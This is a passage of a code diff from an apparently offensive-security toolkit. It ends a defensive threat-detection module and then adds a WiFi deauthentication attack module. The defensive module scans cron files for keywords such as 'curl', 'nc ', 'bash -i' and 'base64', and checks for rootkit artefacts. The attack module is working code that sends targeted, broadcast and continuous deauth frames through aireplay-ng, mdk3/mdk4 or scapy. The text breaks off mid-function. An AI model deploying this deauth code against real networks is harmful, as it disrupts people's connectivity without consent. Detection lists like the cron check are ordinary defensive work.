if:{Colors.RESET}") + print(f" - Target has firewall filtering responses") + print(f" - Network NAT/filtering interferes with raw packets") + print(f" Consider TCP scan (option 1) for more reliable results.") + print() + + # Show what we're about to run + print(f"{Colors.CYAN}[*] Module Options:{Colors.RESET}") + for key, value in options.items(): + print(f" {key}: {value}") + print() + + confirm = input(f"{Colors.YELLOW}Execute module? (y/n): {Colors.RESET}").strip().lower() + if confirm != 'y': + return + + # Execute via the interface + print(f"\n{Colors.CYAN}[*] Executing {module_info['name']}...{Colors.RESET}") + + result = msf.run_module(module_info['module'], options, timeout=120) + + # Display results using the interface's formatter + msf.print_result(result, verbose=False) + + # Add SYN-specific error guidance + if result.error_count > 0 and 'syn' in module_info['module'].lower(): + print(f"\n{Colors.DIM} SYN scan errors are often caused by:{Colors.RESET}") + print(f"{Colors.DIM} - Target firewall blocking responses{Colors.RESET}") + print(f"{Colors.DIM} - Network filtering/NAT issues{Colors.RESET}") + print(f"{Colors.DIM} - Known MSF SYN scanner bugs{Colors.RESET}") + print(f"{Colors.DIM} Try using TCP scan (option 1) instead.{Colors.RESET}") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def check_file_integrity(self): + """Check for recently modified critical files.""" + print(f"\n{Colors.BOLD}Checking File Integrity...{Colors.RESET}\n") + + critical_paths = [ + "/etc/passwd", + "/etc/shadow", + "/etc/sudoers", + "/etc/ssh/sshd_config", + "/etc/crontab", + "/root/.ssh/authorized_keys", + ] + + recent_threshold = datetime.now() - timedelta(days=7) + + for filepath in critical_paths: + p = Path(filepath) + if p.exists(): + mtime = datetime.fromtimestamp(p.stat().st_mtime) + if mtime > recent_threshold: + self.alert("Recent Modification", f"{filepath} modified {mtime.strftime('%Y-%m-%d %H:%M')}", "medium") + else: + self.print_status(f"{filepath} - OK", "success") + + # Check for new SUID binaries + print(f"\n{Colors.CYAN}Checking SUID binaries...{Colors.RESET}") + success, output = self.run_cmd("find /usr -perm -4000 -type f 2>/dev/null") + if success: + suid_files = output.split('\n') + known_suid = ['sudo', 'su', 'passwd', 'ping', 'mount', 'umount', 'chsh', 'newgrp'] + for f in suid_files: + if f: + name = Path(f).name + if not any(k in name for k in known_suid): + self.alert("Unknown SUID", f"{f}", "medium") + + def check_scheduled_tasks(self): + """Check cron jobs and scheduled tasks.""" + print(f"\n{Colors.BOLD}Checking Scheduled Tasks...{Colors.RESET}\n") + + # System crontab + crontab = Path("/etc/crontab") + if crontab.exists(): + content = crontab.read_text() + # Look for suspicious commands + suspicious = ['curl', 'wget', 'nc ', 'bash -i', 'python -c', 'perl -e', 'base64'] + for sus in suspicious: + if sus in content: + self.alert("Suspicious Cron", f"Found '{sus}' in /etc/crontab", "high") + + # User crontabs + success, output = self.run_cmd("ls /var/spool/cron/crontabs/ 2>/dev/null") + if success and output: + users = output.split('\n') + self.print_status(f"Found crontabs for: {', '.join(users)}", "info") + + # Check /etc/cron.d + cron_d = Path("/etc/cron.d") + if cron_d.exists(): + for f in cron_d.iterdir(): + if f.is_file(): + content = f.read_text() + for sus in ['curl', 'wget', 'nc ', 'bash -i']: + if sus in content: + self.alert("Suspicious Cron", f"Found '{sus}' in {f}", "medium") + + def check_rootkits(self): + """Basic rootkit detection.""" + print(f"\n{Colors.BOLD}Running Rootkit Checks...{Colors.RESET}\n") + + # Check for hidden files in /tmp + success, output = self.run_cmd("ls -la /tmp/. /tmp/.. 2>/dev/null") + if success: + hidden = re.findall(r'\.\w+', output) + if len(hidden) > 5: + self.alert("Hidden Files", f"Many hidden files in /tmp: {len(hidden)}", "medium") + + # Check for kernel modules + success, output = self.run_cmd("lsmod") + if success: + suspicious_modules = ['rootkit', 'hide', 'stealth', 'sniff'] + for line in output.split('\n'): + for sus in suspicious_modules: + if sus in line.lower(): + self.alert("Suspicious Module", f"Kernel module: {line.split()[0]}", "high") + + # Check for process hiding + success, output = self.run_cmd("ps aux | wc -l") + success2, output2 = self.run_cmd("ls /proc | grep -E '^[0-9]+$' | wc -l") + if success and success2: + ps_count = int(output) + proc_count = int(output2) + if abs(ps_count - proc_count) > 5: + self.alert("Process Hiding", f"Mismatch: ps={ps_count}, /proc={proc_count}", "high") + else: + self.print_status("Process count consistent", "success") + + # Check for common rootkit files + rootkit_files = [ + "/usr/lib/libproc.a", + "/dev/ptyp", + "/dev/ptyq", + "/usr/include/file.h", + "/usr/include/hosts.h", + ] + for f in rootkit_files: + if Path(f).exists(): + self.alert("Rootkit Artifact", f"Suspicious file: {f}", "high") + + self.print_status("Rootkit checks complete", "info") + + def show_menu(self): + clear_screen() + display_banner() + + print(f"{Colors.MAGENTA}{Colors.BOLD} Counter Intelligence{Colors.RESET}") + print(f"{Colors.DIM} Threat detection & response{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + print(f" {Colors.BOLD}Quick Scans{Colors.RESET}") + print(f" {Colors.MAGENTA}[1]{Colors.RESET} Full Threat Scan") + print(f" {Colors.MAGENTA}[2]{Colors.RESET} Suspicious Processes") + print(f" {Colors.MAGENTA}[3]{Colors.RESET} Network Analysis") + print(f" {Colors.MAGENTA}[4]{Colors.RESET} Login Anomalies (Quick)") + print(f" {Colors.MAGENTA}[5]{Colors.RESET} File Integrity") + print(f" {Colors.MAGENTA}[6]{Colors.RESET} Scheduled Tasks") + print(f" {Colors.MAGENTA}[7]{Colors.RESET} Rootkit Detection") + print() + print(f" {Colors.BOLD}Investigation Tools{Colors.RESET}") + print(f" {Colors.MAGENTA}[8]{Colors.RESET} Login Anomalies Analysis {Colors.CYAN}(Interactive){Colors.RESET}") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + def full_scan(self): + """Run all threat checks.""" + self.threats = [] + self.check_suspicious_processes() + self.check_network_connections() + self.check_login_anomalies() + self.check_file_integrity() + self.check_scheduled_tasks() + self.check_rootkits() + + # Summary + high = sum(1 for t in self.threats if t['severity'] == 'high') + medium = sum(1 for t in self.threats if t['severity'] == 'medium') + + print(f"\n{Colors.BOLD}{'─' * 50}{Colors.RESET}") + print(f"{Colors.BOLD}Threat Summary:{Colors.RESET}") + print(f" {Colors.RED}High: {high}{Colors.RESET}") + print(f" {Colors.YELLOW}Medium: {medium}{Colors.RESET}") + + if high > 0: + print(f"\n{Colors.RED}CRITICAL: Immediate investigation required!{Colors.RESET}") + + def run(self): + while True: + self.show_menu() + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + self.threats = [] + + if choice == "0": + break + elif choice == "1": + self.full_scan() + elif choice == "2": + self.check_suspicious_processes() + elif choice == "3": + self.check_network_connections() + elif choice == "4": + self.check_login_anomalies() + elif choice == "5": + self.check_file_integrity() + elif choice == "6": + self.check_scheduled_tasks() + elif choice == "7": + self.check_rootkits() + elif choice == "8": + self.login_anomalies_menu() + continue # Skip the "Press Enter" prompt for interactive menu + + if choice in ["1", "2", "3", "4", "5", "6", "7"]: + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + break + + +def run(): + Counter().run() + + +if __name__ == "__main__": + run() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/deauth.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/deauth.py new file mode 100644 index 0000000..4c09b87 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/deauth.py @@ -0,0 +1,1287 @@ +"""AUTARCH Deauth Attack Module + +Targeted and broadcast WiFi deauthentication, multi-target attacks, +continuous mode, channel hopping, and client discovery for wireless +assessments. Designed for Raspberry Pi and SBCs with monitor-mode adapters. +""" + +DESCRIPTION = "WiFi deauthentication — targeted & broadcast attacks" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "offense" + +import os +import re +import sys +import json +import time +import shutil +import signal +import struct +import threading +import subprocess +from pathlib import Path +from datetime import datetime +from typing import Dict, List, Optional, Any + +try: + from core.paths import find_tool, get_data_dir +except ImportError: + def find_tool(name): + return shutil.which(name) + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + +sys.path.insert(0, str(Path(__file__).parent.parent)) +try: + from core.banner import Colors, clear_screen, display_banner +except ImportError: + class Colors: + RED = YELLOW = GREEN = CYAN = WHITE = DIM = RESET = BOLD = MAGENTA = "" + def clear_screen(): pass + def display_banner(): pass + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_deauth(): + """Return singleton DeauthAttack instance.""" + global _instance + if _instance is None: + _instance = DeauthAttack() + return _instance + + +# ── Helpers ────────────────────────────────────────────────────────────────── + +MAC_RE = re.compile(r'^([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}$') +BROADCAST = 'FF:FF:FF:FF:FF:FF' + + +def _validate_mac(mac: str) -> bool: + return bool(MAC_RE.match(mac)) + + +def _run(cmd, timeout=30) -> tuple: + """Run a command, return (success, stdout).""" + try: + result = subprocess.run( + cmd, shell=isinstance(cmd, str), + capture_output=True, text=True, timeout=timeout + ) + return result.returncode == 0, result.stdout.strip() + except subprocess.TimeoutExpired: + return False, 'Command timed out' + except Exception as e: + return False, str(e) + + +def _run_bg(cmd) -> Optional[subprocess.Popen]: + """Start a background process, return Popen or None.""" + try: + proc = subprocess.Popen( + cmd, shell=isinstance(cmd, str), + stdout=subprocess.PIPE, stderr=subprocess.PIPE, + text=True + ) + return proc + except Exception: + return None + + +# ── DeauthAttack Class ─────────────────────────────────────────────────────── + +class DeauthAttack: + """WiFi deauthentication attack toolkit.""" + + def __init__(self): + # Data directory + data_root = get_data_dir() + if isinstance(data_root, Path): + data_root = str(data_root) + self.data_dir = os.path.join(data_root, 'deauth') + os.makedirs(self.data_dir, exist_ok=True) + + self.history_path = os.path.join(self.data_dir, 'history.json') + + # Tool paths + self.aireplay = find_tool('aireplay-ng') or shutil.which('aireplay-ng') + self.airmon = find_tool('airmon-ng') or shutil.which('airmon-ng') + self.airodump = find_tool('airodump-ng') or shutil.which('airodump-ng') + self.mdk3 = find_tool('mdk3') or shutil.which('mdk3') + self.mdk4 = find_tool('mdk4') or shutil.which('mdk4') + self.iw = shutil.which('iw') + self.ip_cmd = shutil.which('ip') + self.iwconfig = shutil.which('iwconfig') + + # Scapy availability + self._scapy = None + try: + from scapy.all import ( + Dot11, Dot11Deauth, RadioTap, sendp, sniff, conf + ) + self._scapy = True + except ImportError: + self._scapy = False + + # Attack state + self._continuous_thread: Optional[threading.Thread] = None + self._continuous_running = False + self._continuous_target = {} + self._continuous_frames_sent = 0 + self._continuous_start_time = 0.0 + + # Channel hopping state + self._hop_thread: Optional[threading.Thread] = None + self._hop_running = False + self._current_channel = 0 + + # Attack history + self._history: List[Dict] = [] + self._load_history() + + # ── Tool Status ────────────────────────────────────────────────────── + + def get_tools_status(self) -> Dict[str, Any]: + """Return availability of all tools used by this module.""" + return { + 'aireplay-ng': self.aireplay is not None, + 'airmon-ng': self.airmon is not None, + 'airodump-ng': self.airodump is not None, + 'mdk3': self.mdk3 is not None, + 'mdk4': self.mdk4 is not None, + 'iw': self.iw is not None, + 'ip': self.ip_cmd is not None, + 'iwconfig': self.iwconfig is not None, + 'scapy': self._scapy is True, + } + + # ── Interface Management ───────────────────────────────────────────── + + def get_interfaces(self) -> List[Dict]: + """List wireless interfaces with mode info.""" + interfaces = [] + + # Try iw dev first + if self.iw: + try: + out = subprocess.check_output( + [self.iw, 'dev'], text=True, timeout=5 + ) + iface = None + for line in out.splitlines(): + line = line.strip() + if line.startswith('Interface'): + if iface: + interfaces.append(iface) + iface = { + 'name': line.split()[-1], + 'mode': 'managed', + 'channel': 0, + 'mac': '', + 'phy': '' + } + elif iface: + if line.startswith('type'): + iface['mode'] = line.split()[-1] + elif line.startswith('channel'): + try: + iface['channel'] = int(line.split()[1]) + except (ValueError, IndexError): + pass + elif line.startswith('addr'): + iface['mac'] = line.split()[-1] + if iface: + interfaces.append(iface) + except Exception: + pass + + # Fallback to iwconfig + if not interfaces and self.iwconfig: + try: + out = subprocess.check_output( + [self.iwconfig], text=True, + stderr=subprocess.DEVNULL, timeout=5 + ) + for block in out.split('\n\n'): + if 'IEEE 802.11' in block or 'ESSID' in block: + name = block.split()[0] + mode = 'managed' + if 'Mode:Monitor' in block: + mode = 'monitor' + elif 'Mode:Master' in block: + mode = 'master' + ch_m = re.search(r'Channel[:\s]*(\d+)', block) + ch = int(ch_m.group(1)) if ch_m else 0 + mac_m = re.search( + r'HWaddr\s+([\da-fA-F:]{17})', block + ) + mac = mac_m.group(1) if mac_m else '' + interfaces.append({ + 'name': name, 'mode': mode, + 'channel': ch, 'mac': mac, 'phy': '' + }) + except Exception: + pass + + # Last resort: /sys/class/net + if not interfaces: + try: + sys_net = Path('/sys/class/net') + if sys_net.exists(): + for d in sys_net.iterdir(): + if (d / 'wireless').exists() or (d / 'phy80211').exists(): + interfaces.append({ + 'name': d.name, 'mode': 'unknown', + 'channel': 0, 'mac': '', 'phy': '' + }) + except Exception: + pass + + return interfaces + + def enable_monitor(self, interface: str) -> Dict: + """Put interface into monitor mode. + + Tries airmon-ng first, falls back to iw. + Returns dict with ok, interface (monitor name), and message. + """ + if not interface: + return {'ok': False, 'error': 'No interface specified'} + + # Try airmon-ng + if self.airmon: + try: + # Kill interfering processes + subprocess.run( + [self.airmon, 'check', 'kill'], + capture_output=True, text=True, timeout=10 + ) + result = subprocess.run( + [self.airmon, 'start', interface], + capture_output=True, text=True, timeout=15 + ) + output = result.stdout + result.stderr + # Detect the monitor interface name + mon_match = re.search( + r'\(monitor mode (?:vif )?enabled(?: on| for) \[?(\w+)\]?\)', + output + ) + if mon_match: + mon_iface = mon_match.group(1) + elif os.path.isdir(f'/sys/class/net/{interface}mon'): + mon_iface = f'{interface}mon' + else: + mon_iface = interface + + return { + 'ok': True, + 'interface': mon_iface, + 'message': f'Monitor mode enabled on {mon_iface}' + } + except Exception as e: + return {'ok': False, 'error': f'airmon-ng failed: {e}'} + + # Fallback: iw + if self.iw and self.ip_cmd: + try: + subprocess.run( + [self.ip_cmd, 'link', 'set', interface, 'down'], + capture_output=True, timeout=5 + ) + result = subprocess.run( + [self.iw, 'dev', interface, 'set', 'type', 'monitor'], + capture_output=True, text=True, timeout=5 + ) + subprocess.run( + [self.ip_cmd, 'link', 'set', interface, 'up'], + capture_output=True, timeout=5 + ) + if result.returncode == 0: + return { + 'ok': True, + 'interface': interface, + 'message': f'Monitor mode enabled on {interface} (via iw)' + } + return {'ok': False, 'error': result.stderr.strip() or 'iw set monitor failed'} + except Exception as e: + return {'ok': False, 'error': f'iw failed: {e}'} + + return {'ok': False, 'error': 'No tool available (need airmon-ng or iw+ip)'} + + def disable_monitor(self, interface: str) -> Dict: + """Restore interface to managed mode.""" + if not interface: + return {'ok': False, 'error': 'No interface specified'} + + # Try airmon-ng + if self.airmon: + try: + result = subprocess.run( + [self.airmon, 'stop', interface], + capture_output=True, text=True, timeout=15 + ) + output = result.stdout + result.stderr + managed_match = re.search( + r'\(monitor mode disabled(?: on)? (\w+)\)', output + ) + managed_name = managed_match.group(1) if managed_match else interface.replace('mon', '') + return { + 'ok': True, + 'interface': managed_name, + 'message': f'Managed mode restored on {managed_name}' + } + except Exception as e: + return {'ok': False, 'error': f'airmon-ng stop failed: {e}'} + + # Fallback: iw + if self.iw and self.ip_cmd: + try: + subprocess.run( + [self.ip_cmd, 'link', 'set', interface, 'down'], + capture_output=True, timeout=5 + ) + result = subprocess.run( + [self.iw, 'dev', interface, 'set', 'type', 'managed'], + capture_output=True, text=True, timeout=5 + ) + subprocess.run( + [self.ip_cmd, 'link', 'set', interface, 'up'], + capture_output=True, timeout=5 + ) + if result.returncode == 0: + return { + 'ok': True, + 'interface': interface, + 'message': f'Managed mode restored on {interface}' + } + return {'ok': False, 'error': result.stderr.strip() or 'iw set managed failed'} + except Exception as e: + return {'ok': False, 'error': f'iw failed: {e}'} + + return {'ok': False, 'error': 'No tool available'} + + # ── Scanning ───────────────────────────────────────────────────────── + + def scan_networks(self, interface: str, duration: int = 10) -> List[Dict]: + """Passive scan for access points. + + Uses airodump-ng CSV output or scapy sniffing. + Returns list of dicts: bssid, ssid, channel, encryption, signal, clients_count. + """ + if not interface: + return [] + + networks = [] + + # Method 1: airodump-ng + if self.airodump: + tmp_prefix = os.path.join(self.data_dir, f'scan_{int(time.time())}') + try: + proc = subprocess.Popen( + [self.airodump, '--write', tmp_prefix, + '--output-format', 'csv', '--write-interval', '1', + interface], + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL + ) + time.sleep(min(duration, 120)) + proc.terminate() + try: + proc.wait(timeout=5) + except subprocess.TimeoutExpired: + proc.kill() + + # Parse CSV + csv_path = f'{tmp_prefix}-01.csv' + if os.path.isfile(csv_path): + networks = self._parse_airodump_csv(csv_path) + # Clean up temp files + for f in Path(self.data_dir).glob( + f'scan_{os.path.basename(tmp_prefix).replace("scan_", "")}*' + ): + try: + f.unlink() + except Exception: + pass + except Exception: + pass + + # Method 2: scapy fallback + if not networks and self._scapy: + networks = self._scan_scapy(interface, duration) + + return networks + + def _parse_airodump_csv(self, csv_path: str) -> List[Dict]: + """Parse airodump-ng CSV output into network list.""" + networks = [] + clients_map: Dict[str, int] = {} + section = 'ap' + + try: + with open(csv_path, 'r', errors='ignore') as f: + for line in f: + line = line.strip() + if not line: + continue + if line.startswith('Station MAC'): + section = 'client' + continue + if line.startswith('BSSID') or line.startswith('\x00'): + continue + + parts = [p.strip() for p in line.split(',')] + + if section == 'ap' and len(parts) >= 14: + bssid = parts[0] + if not _validate_mac(bssid): + continue + channel = 0 + try: + channel = int(parts[3]) + except (ValueError, IndexError): + pass + signal = -100 + try: + signal = int(parts[8]) + except (ValueError, IndexError): + pass + encryption = parts[5] if len(parts) > 5 else '' + ssid = parts[13] if len(parts) > 13 else '' + networks.append({ + 'bssid': bssid, + 'ssid': ssid, + 'channel': channel, + 'encryption': encryption, + 'signal': signal, + 'clients_count': 0 + }) + + elif section == 'client' and len(parts) >= 6: + client_mac = parts[0] + ap_bssid = parts[5] if len(parts) > 5 else '' + if _validate_mac(ap_bssid): + clients_map[ap_bssid] = clients_map.get(ap_bssid, 0) + 1 + + # Merge client counts + for net in networks: + net['clients_count'] = clients_map.get(net['bssid'], 0) + + except Exception: + pass + + return networks + + def _scan_scapy(self, interface: str, duration: int) -> List[Dict]: + """Scan using scapy beacon sniffing.""" + networks = {} + try: + from scapy.all import Dot11, Dot11Beacon, Dot11Elt, sniff + + def handler(pkt): + if pkt.haslayer(Dot11Beacon): + bssid = pkt[Dot11].addr2 + if not bssid or bssid in networks: + return + ssid = '' + channel = 0 + enc = 'OPEN' + elt = pkt[Dot11Elt] + while elt: + if elt.ID == 0: # SSID + try: + ssid = elt.info.decode('utf-8', errors='replace') + except Exception: + ssid = '' + elif elt.ID == 3: # DS Parameter Set (channel) + try: + channel = int(elt.info[0]) + except Exception: + pass + elt = elt.payload.getlayer(Dot11Elt) + + cap = pkt.sprintf('{Dot11Beacon:%Dot11Beacon.cap%}') + if 'privacy' in cap: + enc = 'WPA/WPA2' + + try: + sig = -(256 - ord(pkt.notdecoded[-4:-3])) + except Exception: + sig = -100 + + networks[bssid] = { + 'bssid': bssid, + 'ssid': ssid, + 'channel': channel, + 'encryption': enc, + 'signal': sig, + 'clients_count': 0 + } + + sniff(iface=interface, prn=handler, timeout=duration, store=False) + except Exception: + pass + + return list(networks.values()) + + def scan_clients(self, interface: str, target_bssid: Optional[str] = None, + duration: int = 10) -> List[Dict]: + """Discover client-AP associations. + + Returns list of dicts: client_mac, ap_bssid, ap_ssid, signal, packets. + """ + if not interface: + return [] + + clients = [] + + # Method 1: airodump-ng with optional BSSID filter + if self.airodump: + tmp_prefix = os.path.join(self.data_dir, f'clients_{int(time.time())}') + cmd = [ + self.airodump, '--write', tmp_prefix, + '--output-format', 'csv', '--write-interval', '1' + ] + if target_bssid and _validate_mac(target_bssid): + cmd += ['--bssid', target_bssid] + cmd.append(interface) + + try: + proc = subprocess.Popen( + cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL + ) + time.sleep(min(duration, 120)) + proc.terminate() + try: + proc.wait(timeout=5) + except subprocess.TimeoutExpired: + proc.kill() + + csv_path = f'{tmp_prefix}-01.csv' + if os.path.isfile(csv_path): + clients = self._parse_clients_csv(csv_path, target_bssid) + for f in Path(self.data_dir).glob( + f'clients_{os.path.basename(tmp_prefix).replace("clients_", "")}*' + ): + try: + f.unlink() + except Exception: + pass + except Exception: + pass + + # Method 2: scapy fallback + if not clients and self._scapy: + clients = self._scan_clients_scapy(interface, target_bssid, duration) + + return clients + + def _parse_clients_csv(self, csv_path: str, + target_bssid: Optional[str] = None) -> List[Dict]: + """Parse airodump CSV for client associations.""" + clients = [] + ap_names: Dict[str, str] = {} + section = 'ap' + + try: + with open(csv_path, 'r', errors='ignore') as f: + for line in f: + line = line.strip() + if not line: + continue + if line.startswith('Station MAC'): + section = 'client' + continue + if line.startswith('BSSID'): + continue + + parts = [p.strip() for p in line.split(',')] + + if section == 'ap' and len(parts) >= 14: + bssid = parts[0] + ssid = parts[13] if len(parts) > 13 else '' + if _validate_mac(bssid): + ap_names[bssid] = ssid + + elif section == 'client' and len(parts) >= 6: + client_mac = parts[0] + if not _validate_mac(client_mac): + continue + ap_bssid = parts[5] if len(parts) > 5 else '' + if not _validate_mac(ap_bssid): + continue + if target_bssid and ap_bssid.upper() != target_bssid.upper(): + continue + + signal = -100 + try: + signal = int(parts[3]) + except (ValueError, IndexError): + pass + packets = 0 + try: + packets = int(parts[4]) + except (ValueError, IndexError): + pass + + clients.append({ + 'client_mac': client_mac, + 'ap_bssid': ap_bssid, + 'ap_ssid': ap_names.get(ap_bssid, ''), + 'signal': signal, + 'packets': packets + }) + except Exception: + pass + + return clients + + def _scan_clients_scapy(self, interface: str, + target_bssid: Optional[str], + duration: int) -> List[Dict]: + """Discover clients using scapy.""" + seen: Dict[str, Dict] = {} + try: + from scapy.all import Dot11, sniff + + def handler(pkt): + if not pkt.haslayer(Dot11): + return + d11 = pkt[Dot11] + # Data or management frames — addr1=dest, addr2=src, addr3=bssid + src = d11.addr2 + dst = d11.addr1 + bssid = d11.addr3 + if not src or not bssid: + return + if src == bssid or src == BROADCAST.lower(): + return + if target_bssid and bssid.upper() != target_bssid.upper(): + return + key = f'{src}_{bssid}' + if key not in seen: + seen[key] = { + 'client_mac': src, + 'ap_bssid': bssid, + 'ap_ssid': '', + 'signal': -100, + 'packets': 0 + } + seen[key]['packets'] += 1 + + sniff(iface=interface, prn=handler, timeout=duration, store=False) + except Exception: + pass + + return list(seen.values()) + + # ── Deauthentication Attacks ───────────────────────────────────────── + + def deauth_targeted(self, interface: str, target_bssid: str, + client_mac: str, count: int = 10, + interval: float = 0.1) -> Dict: + """Send deauth frames to a specific client on a specific AP. + + Uses aireplay-ng or scapy Dot11Deauth as fallback. + Returns stats dict. + """ + if not _validate_mac(target_bssid): + return {'ok': False, 'error': 'Invalid target BSSID'} + if not _validate_mac(client_mac): + return {'ok': False, 'error': 'Invalid client MAC'} + count = max(1, min(count, 99999)) + + start_ts = time.time() + frames_sent = 0 + + # Method 1: aireplay-ng + if self.aireplay: + try: + result = subprocess.run( + [self.aireplay, '-0', str(count), + '-a', target_bssid, '-c', client_mac, interface], + capture_output=True, text=True, + timeout=max(30, count * interval * 2 + 10) + ) + output = result.stdout + result.stderr + sent_match = re.search(r'(\d+)\s+(?:ACKs|packets)', output) + if sent_match: + frames_sent = int(sent_match.group(1)) + else: + frames_sent = count + except subprocess.TimeoutExpired: + frames_sent = count + except Exception as e: + return {'ok': False, 'error': f'aireplay-ng failed: {e}'} + + # Method 2: scapy + elif self._scapy: + frames_sent = self._deauth_scapy( + interface, target_bssid, client_mac, count, interval + ) + + # Method 3: mdk4 / mdk3 + elif self.mdk4 or self.mdk3: + tool = self.mdk4 or self.mdk3 + frames_sent = self._deauth_mdk( + tool, interface, target_bssid, client_mac, count + ) + else: + return {'ok': False, 'error': 'No deauth tool available (need aireplay-ng, scapy, or mdk3/mdk4)'} + + elapsed = round(time.time() - start_ts, 2) + record = { + 'timestamp': datetime.now().isoformat(), + 'target_bssid': target_bssid, + 'client_mac': client_mac, + 'mode': 'targeted', + 'count': count, + 'frames_sent': frames_sent, + 'duration': elapsed, + 'interface': interface + } + self._add_history(record) + + return { + 'ok': True, + 'mode': 'targeted', + 'target_bssid': target_bssid, + 'client_mac': client_mac, + 'frames_sent': frames_sent, + 'duration': elapsed + } + + def deauth_broadcast(self, interface: str, target_bssid: str, + count: int = 10, interval: float = 0.1) -> Dict: + """Broadcast deauth to all clients on an AP.""" + return self.deauth_targeted( + interface, target_bssid, BROADCAST, count, interval + ) + + def deauth_multi(self, interface: str, targets: List[Dict], + count: int = 10, interval: float = 0.1) -> Dict: + """Deauth multiple AP/client pairs. + + targets: list of {bssid, client_mac} + """ + if not targets: + return {'ok': False, 'error': 'No targets specified'} + + results = [] + total_frames = 0 + + for t in targets: + bssid = t.get('bssid', '') + client = t.get('client_mac', BROADCAST) + if not client: + client = BROADCAST + r = self.deauth_targeted(interface, bssid, client, count, interval) + results.append(r) + if r.get('ok'): + total_frames += r.get('frames_sent', 0) + + return { + 'ok': True, + 'mode': 'multi', + 'targets_count': len(targets), + 'total_frames': total_frames, + 'results': results + } + + def _deauth_scapy(self, interface: str, bssid: str, client: str, + count: int, interval: float) -> int: + """Send deauth using scapy.""" + frames_sent = 0 + try: + from scapy.all import Dot11, Dot11Deauth, RadioTap, sendp + + # Deauth from AP to client + pkt_ap = (RadioTap() / + Dot11(addr1=client, addr2=bssid, addr3=bssid) / + Dot11Deauth(reason=7)) + # Deauth from client to AP + pkt_cl = (RadioTap() / + Dot11(addr1=bssid, addr2=client, addr3=bssid) / + Dot11Deauth(reason=7)) + + for _ in range(count): + sendp(pkt_ap, iface=interface, count=1, verbose=False) + sendp(pkt_cl, iface=interface, count=1, verbose=False) + frames_sent += 2 + if interval > 0: + time.sleep(interval) + + except Exception: + pass + return frames_sent + + def _deauth_mdk(self, tool: str, interface: str, bssid: str, + client: str, count: int) -> int: + """Send deauth using mdk3/mdk4.""" + # Create a target file for mdk + target_file = os.path.join(self.data_dir, 'mdk_targets.txt') + try: + with open(target_file, 'w') as f: + f.write(f'{bssid}\n') + + result = subprocess.run( + [tool, interface, 'd', '-b', target_file, '-c', str(count)], + capture_output=True, text=True, timeout=max(30, count + 10) + ) + return count # mdk does not reliably report frame count + except Exception: + return 0 + finally: + try: + os.unlink(target_file) + except Exception: + pass + + # ── Continuous Mode ────────────────────────────────────────────────── + + def start_continuous(self, interface: str, target_bssid: str, + client_mac: Optional[str] = None, + interval: float = 0.5, + burst: int = 5) -> Dict: + """Start continuous deauth in a background thread. + + Sends `burst` deauth frames every `interval` seconds. + """ + if self._continuous_running: + return {'ok': False, 'error': 'Continuous attack already running'} + if not _validate_mac(target_bssid): + return {'ok': False, 'error': 'Invalid target BSSID'} + if client_mac and not _validate_mac(client_mac): + return {'ok': False, 'error': 'Invalid client MAC'} + + client = client_mac or BROADCAST + interval = max(0.05, min(interval, 60.0)) + burst = max(1, min(burst, 1000)) + + self._continuous_running = True + self._continuous_frames_sent = 0 + self._continuous_start_time = time.time() + self._continuous_target = { + 'interface': interface, + 'target_bssid': target_bssid, + 'client_mac': client, + 'interval': interval, + 'burst': burst + } + + def _worker(): + while self._continuous_running: + r = self.deauth_targeted( + interface, target_bssid, client, burst, 0 + ) + if r.get('ok'): + self._continuous_frames_sent += r.get('frames_sent', 0) + time.sleep(interval) + + self._continuous_thread = threading.Thread( + target=_worker, daemon=True, name='deauth-continuous' + ) + self._continuous_thread.start() + + return { + 'ok': True, + 'message': f'Continuous deauth started against {target_bssid}', + 'mode': 'broadcast' if client == BROADCAST else 'targeted' + } + + def stop_continuous(self) -> Dict: + """Stop continuous deauth attack.""" + if not self._continuous_running: + return {'ok': False, 'error': 'No continuous attack running'} + + self._continuous_running = False + if self._continuous_thread: + self._continuous_thread.join(timeout=5) + self._continuous_thread = None + + elapsed = round(time.time() - self._continuous_start_time, 2) + frames = self._continuous_frames_sent + + record = { + 'timestamp': datetime.now().isoformat(), + 'target_bssid': self._continuous_target.get('target_bssid', ''), + 'client_mac': self._continuous_target.get('client_mac', ''), + 'mode': 'continuous', + 'count': frames, + 'frames_sent': frames, + 'duration': elapsed, + 'interface': self._continuous_target.get('interface', '') + } + self._add_history(record) + + return { + 'ok': True, + 'message': 'Continuous attack stopped', + 'frames_sent': frames, + 'duration': elapsed + } + + def is_attacking(self) -> bool: + """Check if continuous attack is running.""" + return self._continuous_running + + def get_attack_status(self) -> Dict: + """Return current attack state.""" + if not self._continuous_running: + return { + 'running': False, + 'target_bssid': '', + 'client_mac': '', + 'frames_sent': 0, + 'duration': 0, + 'mode': 'idle' + } + + elapsed = round(time.time() - self._continuous_start_time, 2) + client = self._continuous_target.get('client_mac', BROADCAST) + mode = 'broadcast' if client == BROADCAST else 'targeted' + + return { + 'running': True, + 'target_bssid': self._continuous_target.get('target_bssid', ''), + 'client_mac': client, + 'frames_sent': self._continuous_frames_sent, + 'duration': elapsed, + 'mode': mode, + 'interval': self._continuous_target.get('interval', 0), + 'burst': self._continuous_target.get('burst', 0) + } + + # ── Channel Control ────────────────────────────────────────────────── + + def set_channel(self, interface: str, channel: int) -> Dict: + """Set interface to a specific wireless channel.""" + channel = max(1, min(channel, 196)) + + if self.iw: + ok, out = _run([self.iw, 'dev', interface, 'set', 'channel', str(channel)]) + if ok: + self._current_channel = channel + return {'ok': True, 'channel': channel, 'message': f'Set channel {channel}'} + return {'ok': False, 'error': out or f'Failed to set channel {channel}'} + + if self.iwconfig: + ok, out = _run([self.iwconfig, interface, 